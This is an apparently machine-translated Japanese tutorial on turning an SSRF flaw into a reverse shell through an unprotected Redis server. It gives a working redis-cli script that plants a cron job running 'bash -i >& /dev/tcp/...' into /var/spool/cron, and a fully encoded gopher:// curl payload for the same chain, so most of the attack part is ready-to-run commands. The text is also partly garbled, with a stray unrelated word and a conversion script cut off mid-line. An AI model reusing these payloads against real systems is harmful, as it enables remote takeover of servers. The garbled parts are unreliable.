SSRFはRedisの中でshellを反発します

5000 ワード

環境を作るのは容易ではありません.大物たちに見逃してもらいます...
参考文献:https://joychou.org/web/phpssrf.htmlhttps://www.anquanke.com/post/id/146417
SSRF概念
SSRF(Server-Side Request Forgery)は、サービス側が偽造を要求し、脆弱性を利用してサーバ側が要求を偽造し、クライアントがデータを取得できない制限を突破する.
SSRFによる攻撃:
対外ネットワーク、サーバー所在の内ネットワーク、ローカルでポートスキャンを行い、いくつかのサービスを取得したbanner情報攻撃は内ネットワークまたはローカルのアプリケーションで実行され、内ネットワークWEBアプリケーションに対して指紋識別を行い、デフォルトファイルにアクセスすることによって内ネットワークを攻撃するwebアプリケーションを実現する.主にGETパラメータを用いて実現可能な攻撃(例えばStruts 2,sqliなど)fileプロトコルでローカルファイルを読み出す
SSRF脆弱性が現れるシーン
一般的な危険関数:
 fsockopen()      file_get_contents()     curl_exec()
  • がネットワーク要求を対外的に開始できる場所には、SSRFホール
  • が存在する可能性がある.
  • リモートサーバからリソース(Upload from URL,Import&Export RSS Feed)
  • を要求する
  • データベース内蔵機能(Oracle、MongoDB、MSSQL、Postgres、CouchDB、Redis)
  • Webmail他メールボックスメール(POP 3、IMAP、SMTP)
  • ファイル処理、符号化処理、属性情報処理(ffmpeg、ImageMagic、DOCX、PDF、XML)
  • 义齿
    環境
    centos xx.xxx.xx.xxx,ターゲット(root方式でredisを起動する必要がある)ubuntu xxx.xx.xxx.xx、攻撃側
    redisバウンスshellのbashスクリプト
    #shell.sh
    echo -e "


    */1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1


    "|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

    redisの0番目のデータベースにkeyを1、valueを*/1***bash-i>&/dev/tcp/xxxと追加します.xx.xxx.xx/2333 0>&1のフィールド.最後にnが1つ増えるのは、echoリダイレクトが最後に改行文字を持つからです.CONFIG SETコマンドはRedisサーバの構成を動的に調整し、各ユーザが生成したcrontabファイルは、/var/spool/cron/ディレクトリの下に置かれ、setは現在のユーザのcrontabに直接リバウンドshellを書き込む
    スクリプトコマンドを実行するには、次の手順に従います.
    bash shell.sh xx.xxx.xx.xxx  6379
    

    Redis攻撃のTCPパケットを取得するには,socatを用いてポート転送を行う.
    socat -v tcp-listen:4444,fork tcp-connect:xx.xxx.xx.xxx :6379
    bash xx.xxx.xx.xxx shell.sh 4444
    

    本機の4444ポートを本機の6379ポートに転送することを意味する.サーバの4444ポートにアクセスし、実際にはサーバの6379ポートにアクセスします.socatのコマンドでデータをキャプチャするはずだったが、アリクラウドのサーバは本当に強く、emmmはポートの問題で成功しなかった.これは大物のデータです(つかめないのがつらいです)
    > 2017/10/11 01:24:52.432446  length=85 from=0 to=84
    *3\r
    $3\r
    set\r
    $1\r
    1\r
    $58\r
    
    
    
    */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
    
    
    
    \r
    < 2017/10/11 01:24:52.432685  length=5 from=0 to=4
    +OK\r
    > 2017/10/11 01:24:52.435153  length=57 from=0 to=56
    *4\r
    $6\r
    config\r
    $3\r
    set\r
    $3\r
    dir\r
    $16\r
    /var/spool/cron/\r
    < 2017/10/11 01:24:52.435332  length=5 from=0 to=4
    +OK\r
    > 2017/10/11 01:24:52.437594  length=52 from=0 to=51
    *4\r
    $6\r
    config\r
    $3\r
    set\r
    $10\r
    dbfilename\r
    $4\r
    root\r
    < 2017/10/11 01:24:52.437760  length=5 from=0 to=4
    +OK\r
    > 2017/10/11 01:24:52.439943  length=14 from=0 to=13
    *1\r
    $4\r
    save\r
    < 2017/10/11 01:24:52.443318  length=5 from=0 to=4
    +OK\r
    > 2017/10/11 01:24:52.446034  length=14 from=0 to=13
    *1\r
    $4\r
    quit\r
    < 2017/10/11 01:24:52.446148  length=5 from=0 to=4
    +OK\r
    

    参照するには、次の変換が必要です.
            >  <          ,          。
       3    +OK          ,        。
     \r      %0d%0a
          %0a
    

    変換ルールにより、IPとポートを交換する場合、前の58は文字列長が58バイトであることを示し、上のEXPは%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a、3+51+4=58であることが分かった.xxxに変えたいなら.xx.xxx.xx,それでは62,その他不変行変換スクリプト
    python tran.py socat.log
    
    #coding: utf-8
    #author: JoyChou
    import sys
    
    exp = ''
    
    with open(sys.argv[1]) as f:
        for line in f.readlines():
            if line[0] in '>

    結果:
    *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a
    

    このコマンドを実行
    curl -v 'gopher://xx.xxx.xx.xxx
    :6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/8989 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a'
    

    OKが5つ出たら成功しました.
    ローカルリスニング8989ポート
    nc -l -p 8989
    

    発生する可能性のある問題:
    ①(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. 理由:redisスナップショットを強制的にオフにすると、永続化できない解決方法:127.0.0.1:6379>config set stop-writes-on-bgsave-error no
    ②.save Errorログ(vi/var/log/redis/redis-server.log):Failed opening.rdb for saving:Read-only file system emmm、解決策が見つからないので、大物が知っていたら言ってください.